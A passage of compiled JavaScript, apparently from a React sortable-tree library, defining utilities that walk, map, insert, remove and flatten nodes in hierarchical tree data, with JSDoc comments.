      ignoreCollapsed = _ref2$ignoreCollapsed === void 0 ? true : _ref2$ignoreCollapsed;
  return getNodeDataAtTreeIndexOrNextIndex({
    getNodeKey: function getNodeKey() {},
    ignoreCollapsed: ignoreCollapsed,
    node: node,
    currentIndex: 0,
    targetIndex: -1
  }).nextIndex - 1;
}
/**
 * Walk all descendants of the given node, depth-first
 *
 * @param {Object} args - Function parameters
 * @param {function} args.callback - Function to call on each node
 * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves
 *                                        as the parent of all the nodes in the tree
 * @param {Object} args.node - A tree node
 * @param {Object=} args.parentNode - The parent node of `node`
 * @param {number} args.currentIndex - The treeIndex of `node`
 * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed
 * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the
 *                                             previous nodes in this path
 *
 * @return {number|false} nextIndex - Index of the next sibling of `node`,
 *                                    or false if the walk should be terminated
 */

function walkDescendants(_ref3) {
  var callback = _ref3.callback,
      getNodeKey = _ref3.getNodeKey,
      ignoreCollapsed = _ref3.ignoreCollapsed,
      _ref3$isPseudoRoot = _ref3.isPseudoRoot,
      isPseudoRoot = _ref3$isPseudoRoot === void 0 ? false : _ref3$isPseudoRoot,
      node = _ref3.node,
      _ref3$parentNode = _ref3.parentNode,
      parentNode = _ref3$parentNode === void 0 ? null : _ref3$parentNode,
      currentIndex = _ref3.currentIndex,
      _ref3$path = _ref3.path,
      path = _ref3$path === void 0 ? [] : _ref3$path,
      _ref3$lowerSiblingCou = _ref3.lowerSiblingCounts,
      lowerSiblingCounts = _ref3$lowerSiblingCou === void 0 ? [] : _ref3$lowerSiblingCou;
  // The pseudo-root is not considered in the path
  var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
    node: node,
    treeIndex: currentIndex
  })]);
  var selfInfo = isPseudoRoot ? null : {
    node: node,
    parentNode: parentNode,
    path: selfPath,
    lowerSiblingCounts: lowerSiblingCounts,
    treeIndex: currentIndex
  };

  if (!isPseudoRoot) {
    var callbackResult = callback(selfInfo); // Cut walk short if the callback returned false

    if (callbackResult === false) {
      return false;
    }
  } // Return self on nodes with no children or hidden children


  if (!node.children || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return currentIndex;
  } // Get all descendants


  var childIndex = currentIndex;
  var childCount = node.children.length;

  if (typeof node.children !== 'function') {
    for (var i = 0; i < childCount; i += 1) {
      childIndex = walkDescendants({
        callback: callback,
        getNodeKey: getNodeKey,
        ignoreCollapsed: ignoreCollapsed,
        node: node.children[i],
        parentNode: isPseudoRoot ? null : node,
        currentIndex: childIndex + 1,
        lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
        path: selfPath
      }); // Cut walk short if the callback returned false

      if (childIndex === false) {
        return false;
      }
    }
  }

  return childIndex;
}
/**
 * Perform a change on the given node and all its descendants, traversing the tree depth-first
 *
 * @param {Object} args - Function parameters
 * @param {function} args.callback - Function to call on each node
 * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves
 *                                        as the parent of all the nodes in the tree
 * @param {Object} args.node - A tree node
 * @param {Object=} args.parentNode - The parent node of `node`
 * @param {number} args.currentIndex - The treeIndex of `node`
 * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed
 * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the
 *                                             previous nodes in this path
 *
 * @return {number|false} nextIndex - Index of the next sibling of `node`,
 *                                    or false if the walk should be terminated
 */


function mapDescendants(_ref4) {
  var callback = _ref4.callback,
      getNodeKey = _ref4.getNodeKey,
      ignoreCollapsed = _ref4.ignoreCollapsed,
      _ref4$isPseudoRoot = _ref4.isPseudoRoot,
      isPseudoRoot = _ref4$isPseudoRoot === void 0 ? false : _ref4$isPseudoRoot,
      node = _ref4.node,
      _ref4$parentNode = _ref4.parentNode,
      parentNode = _ref4$parentNode === void 0 ? null : _ref4$parentNode,
      currentIndex = _ref4.currentIndex,
      _ref4$path = _ref4.path,
      path = _ref4$path === void 0 ? [] : _ref4$path,
      _ref4$lowerSiblingCou = _ref4.lowerSiblingCounts,
      lowerSiblingCounts = _ref4$lowerSiblingCou === void 0 ? [] : _ref4$lowerSiblingCou;

  var nextNode = _objectSpread2({}, node); // The pseudo-root is not considered in the path


  var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
    node: nextNode,
    treeIndex: currentIndex
  })]);
  var selfInfo = {
    node: nextNode,
    parentNode: parentNode,
    path: selfPath,
    lowerSiblingCounts: lowerSiblingCounts,
    treeIndex: currentIndex
  }; // Return self on nodes with no children or hidden children

  if (!nextNode.children || nextNode.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return {
      treeIndex: currentIndex,
      node: callback(selfInfo)
    };
  } // Get all descendants


  var childIndex = currentIndex;
  var childCount = nextNode.children.length;

  if (typeof nextNode.children !== 'function') {
    nextNode.children = nextNode.children.map(function (child, i) {
      var mapResult = mapDescendants({
        callback: callback,
        getNodeKey: getNodeKey,
        ignoreCollapsed: ignoreCollapsed,
        node: child,
        parentNode: isPseudoRoot ? null : nextNode,
        currentIndex: childIndex + 1,
        lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
        path: selfPath
      });
      childIndex = mapResult.treeIndex;
      return mapResult.node;
    });
  }

  return {
    node: callback(selfInfo),
    treeIndex: childIndex
  };
}
/**
 * Count all the visible (expanded) descendants in the tree data.
 *
 * @param {!Object[]} treeData - Tree data
 *
 * @return {number} count
 */


function getVisibleNodeCount(_ref5) {
  var treeData = _ref5.treeData;

  var traverse = function traverse(node) {
    if (!node.children || node.expanded !== true || typeof node.children === 'function') {
      return 1;
    }

    return 1 + node.children.reduce(function (total, currentNode) {
      return total + traverse(currentNode);
    }, 0);
  };

  return treeData.reduce(function (total, currentNode) {
    return total + traverse(currentNode);
  }, 0);
}
/**
 * Get the <targetIndex>th visible node in the tree data.
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!number} targetIndex - The index of the node to search for
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 *
 * @return {{
 *      node: Object,
 *      path: []string|[]number,
 *      lowerSiblingCounts: []number
 *  }|null} node - The node at targetIndex, or null if not found
 */

function getVisibleNodeInfoAtIndex(_ref6) {
  var treeData = _ref6.treeData,
      targetIndex = _ref6.index,
      getNodeKey = _ref6.getNodeKey;

  if (!treeData || treeData.length < 1) {
    return null;
  } // Call the tree traversal with a pseudo-root node


  var result = getNodeDataAtTreeIndexOrNextIndex({
    targetIndex: targetIndex,
    getNodeKey: getNodeKey,
    node: {
      children: treeData,
      expanded: true
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: [],
    isPseudoRoot: true
  });

  if (result.node) {
    return result;
  }

  return null;
}
/**
 * Walk descendants depth-first and call a callback on each
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {function} callback - Function to call on each node
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return void
 */

function walk(_ref7) {
  var treeData = _ref7.treeData,
      getNodeKey = _ref7.getNodeKey,
      callback = _ref7.callback,
      _ref7$ignoreCollapsed = _ref7.ignoreCollapsed,
      ignoreCollapsed = _ref7$ignoreCollapsed === void 0 ? true : _ref7$ignoreCollapsed;

  if (!treeData || treeData.length < 1) {
    return;
  }

  walkDescendants({
    callback: callback,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    isPseudoRoot: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: []
  });
}
/**
 * Perform a depth-first transversal of the descendants and
 *  make a change to every node in the tree
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {function} callback - Function to call on each node
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function map(_ref8) {
  var treeData = _ref8.treeData,
      getNodeKey = _ref8.getNodeKey,
      callback = _ref8.callback,
      _ref8$ignoreCollapsed = _ref8.ignoreCollapsed,
      ignoreCollapsed = _ref8$ignoreCollapsed === void 0 ? true : _ref8$ignoreCollapsed;

  if (!treeData || treeData.length < 1) {
    return [];
  }

  return mapDescendants({
    callback: callback,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    isPseudoRoot: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: []
  }).node.children;
}
/**
 * Expand or close every node in the tree
 *
 * @param {!Object[]} treeData - Tree data
 * @param {?boolean} expanded - Whether the node is expanded or not
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function toggleExpandedForAll(_ref9) {
  var treeData = _ref9.treeData,
      _ref9$expanded = _ref9.expanded,
      expanded = _ref9$expanded === void 0 ? true : _ref9$expanded;
  return map({
    treeData: treeData,
    callback: function callback(_ref10) {
      var node = _ref10.node;
      return _objectSpread2(_objectSpread2({}, node), {}, {
        expanded: expanded
      });
    },
    getNodeKey: function getNodeKey(_ref11) {
      var treeIndex = _ref11.treeIndex;
      return treeIndex;
    },
    ignoreCollapsed: false
  });
}
/**
 * Replaces node at path with object, or callback-defined object
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be changed
 * @param {function|any} newNode - Node to replace the node at the path with, or a function producing the new node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function changeNodeAtPath(_ref12) {
  var treeData = _ref12.treeData,
      path = _ref12.path,
      newNode = _ref12.newNode,
      getNodeKey = _ref12.getNodeKey,
      _ref12$ignoreCollapse = _ref12.ignoreCollapsed,
      ignoreCollapsed = _ref12$ignoreCollapse === void 0 ? true : _ref12$ignoreCollapse;
  var RESULT_MISS = 'RESULT_MISS';

  var traverse = function traverse(_ref13) {
    var _ref13$isPseudoRoot = _ref13.isPseudoRoot,
        isPseudoRoot = _ref13$isPseudoRoot === void 0 ? false : _ref13$isPseudoRoot,
        node = _ref13.node,
        currentTreeIndex = _ref13.currentTreeIndex,
        pathIndex = _ref13.pathIndex;

    if (!isPseudoRoot && getNodeKey({
      node: node,
      treeIndex: currentTreeIndex
    }) !== path[pathIndex]) {
      return RESULT_MISS;
    }

    if (pathIndex >= path.length - 1) {
      // If this is the final location in the path, return its changed form
      return typeof newNode === 'function' ? newNode({
        node: node,
        treeIndex: currentTreeIndex
      }) : newNode;
    }

    if (!node.children) {
      // If this node is part of the path, but has no children, return the unchanged node
      throw new Error('Path referenced children of node with no children.');
    }

    var nextTreeIndex = currentTreeIndex + 1;

    for (var i = 0; i < node.children.length; i += 1) {
      var _result = traverse({
        node: node.children[i],
        currentTreeIndex: nextTreeIndex,
        pathIndex: pathIndex + 1
      }); // If the result went down the correct path


      if (_result !== RESULT_MISS) {
        if (_result) {
          // If the result was truthy (in this case, an object),
          //  pass it to the next level of recursion up
          return _objectSpread2(_objectSpread2({}, node), {}, {
            children: [].concat(_toConsumableArray(node.children.slice(0, i)), [_result], _toConsumableArray(node.children.slice(i + 1)))
          });
        } // If the result was falsy (returned from the newNode function), then
        //  delete the node from the array.


        return _objectSpread2(_objectSpread2({}, node), {}, {
          children: [].concat(_toConsumableArray(node.children.slice(0, i)), _toConsumableArray(node.children.slice(i + 1)))
        });
      }

      nextTreeIndex += 1 + getDescendantCount({
        node: node.children[i],
        ignoreCollapsed: ignoreCollapsed
      });
    }

    return RESULT_MISS;
  }; // Use a pseudo-root node in the beginning traversal


  var result = traverse({
    node: {
      children: treeData
    },
    currentTreeIndex: -1,
    pathIndex: -1,
    isPseudoRoot: true
  });

  if (result === RESULT_MISS) {
    throw new Error('No node found at the given path.');
  }

  return result.children;
}
/**
 * Removes the node at the specified path and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The tree data with the node removed
 */

function removeNodeAtPath(_ref14) {
  var treeData = _ref14.treeData,
      path = _ref14.path,
      getNodeKey = _ref14.getNodeKey,
      _ref14$ignoreCollapse = _ref14.ignoreCollapsed,
      ignoreCollapsed = _ref14$ignoreCollapse === void 0 ? true : _ref14$ignoreCollapse;
  return changeNodeAtPath({
    treeData: treeData,
    path: path,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    newNode: null // Delete the node

  });
}
/**
 * Removes the node at the specified path and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The tree data with the node removed
 * @return {Object} result.node - The node that was removed
 * @return {number} result.treeIndex - The previous treeIndex of the removed node
 */

function removeNode(_ref15) {
  var treeData = _ref15.treeData,
      path = _ref15.path,
      getNodeKey = _ref15.getNodeKey,
      _ref15$ignoreCollapse = _ref15.ignoreCollapsed,
      ignoreCollapsed = _ref15$ignoreCollapse === void 0 ? true : _ref15$ignoreCollapse;
  var removedNode = null;
  var removedTreeIndex = null;
  var nextTreeData = changeNodeAtPath({
    treeData: treeData,
    path: path,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    newNode: function newNode(_ref16) {
      var node = _ref16.node,
          treeIndex = _ref16.treeIndex;
      // Store the target node and delete it from the tree
      removedNode = node;
      removedTreeIndex = treeIndex;
      return null;
    }
  });
  return {
    treeData: nextTreeData,
    node: removedNode,
    treeIndex: removedTreeIndex
  };
}
/**
 * Gets the node at the specified path
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object|null} nodeInfo - The node info at the given path, or null if not found
 */

function getNodeAtPath(_ref17) {
  var treeData = _ref17.treeData,
      path = _ref17.path,
      getNodeKey = _ref17.getNodeKey,
      _ref17$ignoreCollapse = _ref17.ignoreCollapsed,
      ignoreCollapsed = _ref17$ignoreCollapse === void 0 ? true : _ref17$ignoreCollapse;
  var foundNodeInfo = null;

  try {
    changeNodeAtPath({
      treeData: treeData,
      path: path,
      getNodeKey: getNodeKey,
      ignoreCollapsed: ignoreCollapsed,
      newNode: function newNode(_ref18) {
        var node = _ref18.node,
            treeIndex = _ref18.treeIndex;
        foundNodeInfo = {
          node: node,
          treeIndex: treeIndex
        };
        return node;
      }
    });
  } catch (err) {// Ignore the error -- the null return will be explanation enough
  }

  return foundNodeInfo;
}
/**
 * Adds the node to the specified parent and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {!Object} newNode - The node to insert
 * @param {number|string} parentKey - The key of the to-be parentNode of the node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} expandParent - If true, expands the parentNode specified by parentPath
 * @param {boolean=} addAsFirstChild - If true, adds new node as first child of tree
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The updated tree data
 * @return {number} result.treeIndex - The tree index at which the node was inserted
 */

function addNodeUnderParent(_ref19) {
  var treeData = _ref19.treeData,
      newNode = _ref19.newNode,
      _ref19$parentKey = _ref19.parentKey,
      parentKey = _ref19$parentKey === void 0 ? null : _ref19$parentKey,
      getNodeKey = _ref19.getNodeKey,
      _ref19$ignoreCollapse = _ref19.ignoreCollapsed,
      ignoreCollapsed = _ref19$ignoreCollapse === void 0 ? true : _ref19$ignoreCollapse,
      _ref19$expandParent = _ref19.expandParent,
      expandParent = _ref19$expandParent === void 0 ? false : _ref19$expandParent,
      _ref19$addAsFirstChil = _ref19.addAsFirstChild,
      addAsFirstChild = _ref19$addAsFirstChil === void 0 ? false : _ref19$addAsFirstChil;

  if (parentKey === null) {
    return addAsFirstChild ? {
      treeData: [newNode].concat(_toConsumableArray(treeData || [])),
      treeIndex: 0
    } : {
      treeData: [].concat(_toConsumableArray(treeData || []), [newNode]),
      treeIndex: (treeData || []).length
    };
  }

  var insertedTreeIndex = null;
  var hasBeenAdded = false;
  var changedTreeData = map({
    treeData: treeData,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    callback: function callback(_ref20) {
      var node = _ref20.node,
          treeIndex = _ref20.treeIndex,
          path = _ref20.path;
      var key = path ? path[path.length - 1] : null; // Return nodes that are not the parent as-is

      if (hasBeenAdded || key !== parentKey) {
        return node;
      }

      hasBeenAdded = true;

      var parentNode = _objectSpread2({}, node);

      if (expandParent) {
        parentNode.expanded = true;
      } // If no children exist yet, just add the single newNode


      if (!parentNode.children) {
        insertedTreeIndex = treeIndex + 1;
        return _objectSpread2(_objectSpread2({}, parentNode), {}, {
          children: [newNode]
        });
      }

      if (typeof parentNode.children === 'function') {
        throw new Error('Cannot add to children defined by a function');
      }

      var nextTreeIndex = treeIndex + 1;

      for (var i = 0; i < parentNode.children.length; i += 1) {
        nextTreeIndex += 1 + getDescendantCount({
          node: parentNode.children[i],
          ignoreCollapsed: ignoreCollapsed
        });
      }

      insertedTreeIndex = nextTreeIndex;
      var children = addAsFirstChild ? [newNode].concat(_toConsumableArray(parentNode.children)) : [].concat(_toConsumableArray(parentNode.children), [newNode]);
      return _objectSpread2(_objectSpread2({}, parentNode), {}, {
        children: children
      });
    }
  });

  if (!hasBeenAdded) {
    throw new Error('No node found with the given key.');
  }

  return {
    treeData: changedTreeData,
    treeIndex: insertedTreeIndex
  };
}

function addNodeAtDepthAndIndex(_ref21) {
  var targetDepth = _ref21.targetDepth,
      minimumTreeIndex = _ref21.minimumTreeIndex,
      newNode = _ref21.newNode,
      ignoreCollapsed = _ref21.ignoreCollapsed,
      expandParent = _ref21.expandParent,
      _ref21$isPseudoRoot = _ref21.isPseudoRoot,
      isPseudoRoot = _ref21$isPseudoRoot === void 0 ? false : _ref21$isPseudoRoot,
      isLastChild = _ref21.isLastChild,
      node = _ref21.node,
      currentIndex = _ref21.currentIndex,
      currentDepth = _ref21.currentDepth,
      getNodeKey = _ref21.getNodeKey,
      _ref21$path = _ref21.path,
      path = _ref21$path === void 0 ? [] : _ref21$path;

  var selfPath = function selfPath(n) {
    return isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
      node: n,
      treeIndex: currentIndex
    })]);
  }; // If the current position is the only possible place to add, add it


  if (currentIndex >= minimumTreeIndex - 1 || isLastChild && !(node.children && node.children.length)) {
    if (typeof node.children === 'function') {
      throw new Error('Cannot add to children defined by a function');
    } else {
      var extraNodeProps = expandParent ? {
        expanded: true
      } : {};

      var _nextNode = _objectSpread2(_objectSpread2(_objectSpread2({}, node), extraNodeProps), {}, {
        children: node.children ? [newNode].concat(_toConsumableArray(node.children)) : [newNode]
      });

      return {
        node: _nextNode,
        nextIndex: currentIndex + 2,
        insertedTreeIndex: currentIndex + 1,
        parentPath: selfPath(_nextNode),
        parentNode: isPseudoRoot ? null : _nextNode
      };
    }
  } // If this is the target depth for the insertion,
  // i.e., where the newNode can be added to the current node's children


  if (currentDepth >= targetDepth - 1) {
    // Skip over nodes with no children or hidden children
    if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
      return {
        node: node,
        nextIndex: currentIndex + 1
      };
    } // Scan over the children to see if there's a place among them that fulfills
    // the minimumTreeIndex requirement


    var _childIndex = currentIndex + 1;

    var _insertedTreeIndex = null;
    var insertIndex = null;

    for (var i = 0; i < node.children.length; i += 1) {
      // If a valid location is found, mark it as the insertion location and
      // break out of the loop
      if (_childIndex >= minimumTreeIndex) {
        _insertedTreeIndex = _childIndex;
        insertIndex = i;
        break;
      } // Increment the index by the child itself plus the number of descendants it has


      _childIndex += 1 + getDescendantCount({
        node: node.children[i],
        ignoreCollapsed: ignoreCollapsed
      });
    } // If no valid indices to add the node were found


    if (insertIndex === null) {
      // If the last position in this node's children is less than the minimum index
      // and there are more children on the level of this node, return without insertion
      if (_childIndex < minimumTreeIndex && !isLastChild) {
        return {
          node: node,
          nextIndex: _childIndex
        };
      } // Use the last position in the children array to insert the newNode


      _insertedTreeIndex = _childIndex;
      insertIndex = node.children.length;
    } // Insert the newNode at the insertIndex


    var _nextNode2 = _objectSpread2(_objectSpread2({}, node), {}, {
      children: [].concat(_toConsumableArray(node.children.slice(0, insertIndex)), [newNode], _toConsumableArray(node.children.slice(insertIndex)))
    }); // Return node with successful insert result


    return {
      node: _nextNode2,
      nextIndex: _childIndex,
      insertedTreeIndex: _insertedTreeIndex,
      parentPath: selfPath(_nextNode2),
      parentNode: isPseudoRoot ? null : _nextNode2
    };
  } // Skip over nodes with no children or hidden children


  if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return {
      node: node,
      nextIndex: currentIndex + 1
    };
  } // Get all descendants


  var insertedTreeIndex = null;
  var pathFragment = null;
  var parentNode = null;
  var childIndex = currentIndex + 1;
  var newChildren = node.children;

  if (typeof newChildren !== 'function') {
    newChildren = newChildren.map(function (child, i) {
      if (insertedTreeIndex !== null) {
        return child;
      }

      var mapResult = addNodeAtDepthAndIndex({
        targetDepth: targetDepth,
        minimumTreeIndex: minimumTreeIndex,
        newNode: newNode,
        ignoreCollapsed: ignoreCollapsed,
        expandParent: expandParent,
        isLastChild: isLastChild && i === newChildren.length - 1,
        node: child,
        currentIndex: childIndex,
        currentDepth: currentDepth + 1,
        getNodeKey: getNodeKey,
        path: [] // Cannot determine the parent path until the children have been processed

      });

      if ('insertedTreeIndex' in mapResult) {
        insertedTreeIndex = mapResult.insertedTreeIndex;
        parentNode = mapResult.parentNode;
        pathFragment = mapResult.parentPath;
      }

      childIndex = mapResult.nextIndex;
      return mapResult.node;
    });
  }

  var nextNode = _objectSpread2(_objectSpread2({}, node), {}, {
    children: newChildren
  });

  var result = {
    node: nextNode,
    nextIndex: childIndex
  };

  if (insertedTreeIndex !== null) {
    result.insertedTreeIndex = insertedTreeIndex;
    result.parentPath = [].concat(_toConsumableArray(selfPath(nextNode)), _toConsumableArray(pathFragment));
    result.parentNode = parentNode;
  }

  return result;
}
/**
 * Insert a node into the tree at the given depth, after the minimum index
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!number} depth - The depth to insert the node at (the first level of the array being depth 0)
 * @param {!number} minimumTreeIndex - The lowest possible treeIndex to insert the node at
 * @param {!Object} newNode - The node to insert into the tree
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} expandParent - If true, expands the parent of the inserted node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The tree data with the node added
 * @return {number} result.treeIndex - The tree index at which the node was inserted
 * @return {number[]|string[]} result.path - Array of keys leading to the node location after insertion
 * @return {Object} result.parentNode - The parent node of the inserted node
 */


function insertNode(_ref22) {
  var treeData = _ref22.treeData,
      targetDepth = _ref22.depth,
      minimumTreeIndex = _ref22.minimumTreeIndex,
      newNode = _ref22.newNode,
      _ref22$getNodeKey = _ref22.getNodeKey,
      getNodeKey = _ref22$getNodeKey === void 0 ? function () {} : _ref22$getNodeKey,
      _ref22$ignoreCollapse = _ref22.ignoreCollapsed,
      ignoreCollapsed = _ref22$ignoreCollapse === void 0 ? true : _ref22$ignoreCollapse,
      _ref22$expandParent = _ref22.expandParent,
      expandParent = _ref22$expandParent === void 0 ? false : _ref22$expandParent;

  if (!treeData && targetDepth === 0) {
    return {
      treeData: [newNode],
      treeIndex: 0,
      path: [getNodeKey({
        node: newNode,
        treeIndex: 0
      })],
      parentNode: null
    };
  }

  var insertResult = addNodeAtDepthAndIndex({
    targetDepth: targetDepth,
    minimumTreeIndex: minimumTreeIndex,
    newNode: newNode,
    ignoreCollapsed: ignoreCollapsed,
    expandParent: expandParent,
    getNodeKey: getNodeKey,
    isPseudoRoot: true,
    isLastChild: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    currentDepth: -1
  });

  if (!('insertedTreeIndex' in insertResult)) {
    throw new Error('No suitable position found to insert.');
  }

  var treeIndex = insertResult.insertedTreeIndex;
  return {
    treeData: insertResult.node.children,
    treeIndex: treeIndex,
    path: [].concat(_toConsumableArray(insertResult.parentPath), [getNodeKey({
      node: newNode,
      treeIndex: treeIndex
    })]),
    parentNode: insertResult.parentNode
  };
}
/**
 * Get tree data flattened.
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {{
 *      node: Object,
 *      path: []string|[]number,
 *      lowerSiblingCounts: []number
 *  }}[] nodes - The node array
 */

function getFlatDataFromTree(_ref23) {
  var treeData = _ref23.treeData,
      getNodeKey = _ref23.getNodeKey,
      _ref23$ignoreCollapse = _ref23.ignoreCollapsed,
      ignoreCollapsed = _ref23$ignoreCollapse === void 0 ? true : _ref23$ignoreCollapse;

  if (!treeData || treeData.length < 1) {
    return [];
  }

  var flattened = [];
  walk({
    treeData: treeData,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    callback: function callback(nodeInfo) {
      flattened.push(nodeInfo);
    }
  });
  return flattened;
}
/**
 * Generate a tree structure from flat data.
 *
 * @param {!Object[]} flatData
 * @param {!function=} getKey - Function to get the key from the nodeData
 * @param {!function=} getParentKey - Function to get the parent key from the nodeData
 * @param {string|number=} rootKey - The value returned by `getParentKey` that corresponds to the root node.
 *                                  For example, if your nodes have id 1-99, you might use rootKey = 0
 *
 * @return {Object[]} treeData - The flat data represented as a tree
 */

function getTreeFromFlatData(_ref24) {
  var flatData = _ref24.flatData,
      _ref24$getKey = _ref24.getKey,
      getKey = _ref24$getKey === void 0 ? function (node) {
    return node.id;
  } : _ref24$getKey,
      _ref24$getParentKey = _ref24.getParentKey,
      getParentKey = _ref24$getParentKey === void 0 ? function (node) {
    return node.parentId;
  } : _ref24$getParentKey,
      _ref24$rootKey = _ref24.rootKey,
      rootKey = _ref24$rootKey === void 0 ? '0' : _ref24$rootKey;

  if (!flatData) {
    return [];
  }

  var childrenToParents = {};
  flatData.forEach(function (child) {
    var parentKey = getParentKey(child);

    if (parentKey in childrenToParents) {
      childrenToParents[parentKey].push(child);
    } else {
      childrenToParents[parentKey] = [child];
    }
  });

  if (!(rootKey in childrenToParents)) {
    return [];
  }

  var trav = function trav(parent) {
    var parentKey = getKey(parent);

    if (parentKey in childrenToParents) {
      return _objectSpread2(_objectSpread2({}, parent), {}, {
        children: childrenToParents[parentKey].map(function (child) {
          return trav(child);
        })
      });
    }

    return _objectSpread2({}, parent);
  };

  return childrenToParents[rootKey].map(function (child) {
    return trav(child);
  });
}
/**
 * Check if a node is a descendant of another node.
 *
 * @param {!Object} older - Potential ancestor of younger node
 * @param {!Object} younger - Potential descendant of older node
 *
 * @return {boolean}
 */

function isDescendant(older, younger) {
  return !!older.children && typeof older.children !== 'function' && older.children.some(function (child) {
    return child === younger || isDescendant(child, younger);
  });
}
/**
 * Get the maximum depth of the children (the depth of the root node is 0).
 *
 * @param {!Object} node - Node in the tree
 * @param {?number} depth - The current depth
 *
 * @return {number} maxDepth - The deepest depth in the tree
 */

function getDepth(node) {
  var depth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

  if (!node.children) {
    return depth;
  }

  if (typeof node.children === 'function') {
    return depth + 1;
  }

  return node.children.reduce(function (deepest, child) {
    return Math.max(deepest, getDepth(child, depth + 1));
  }, depth);
}
/**
 * Find nodes matching a search query in the tree,
 *
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {!Object[]} treeData - Tree data
 * @param {?string|number} searchQuery - Function returning a boolean to indicate whether the node is a match or not
 * @param {!function} searchMethod - Function returning a boolean to indicate whether the node is a match or not
 * @param {?number} searchFocusOffset - The offset of the match to focus on
 *                                      (e.g., 0 focuses on the first match, 1 on the second)
 * @param {boolean=} expandAllMatchPaths - If true, expands the paths to any matched node
 * @param {boolean=} expandFocusMatchPaths - If true, expands the path to the focused node
 *
 * @return {Object[]} matches - An array of objects containing the matching `node`s, their `path`s and `treeIndex`s
 * @return {Object[]} treeData - The original tree data with all relevant nodes expanded.
 *                               If expandAllMatchPaths and expandFocusMatchPaths are both false,
 *                               it will be the same as the original tree data.
 */

function find(_ref25) {
  var getNodeKey = _ref25.getNodeKey,
      treeData = _ref25.treeData,
      searchQuery = _ref25.searchQuery,
      searchMethod = _ref25.searchMethod,
      searchFocusOffset = _ref25.searchFocusOffset,
      _ref25$expandAllMatch = _ref25.expandAllMatchPaths,
      expandAllMatchPaths = _ref25$expandAllMatch === void 0 ? false : _ref25$expandAllMatch,
      _ref25$expandFocusMat = _ref25.expandFocusMatchPaths,
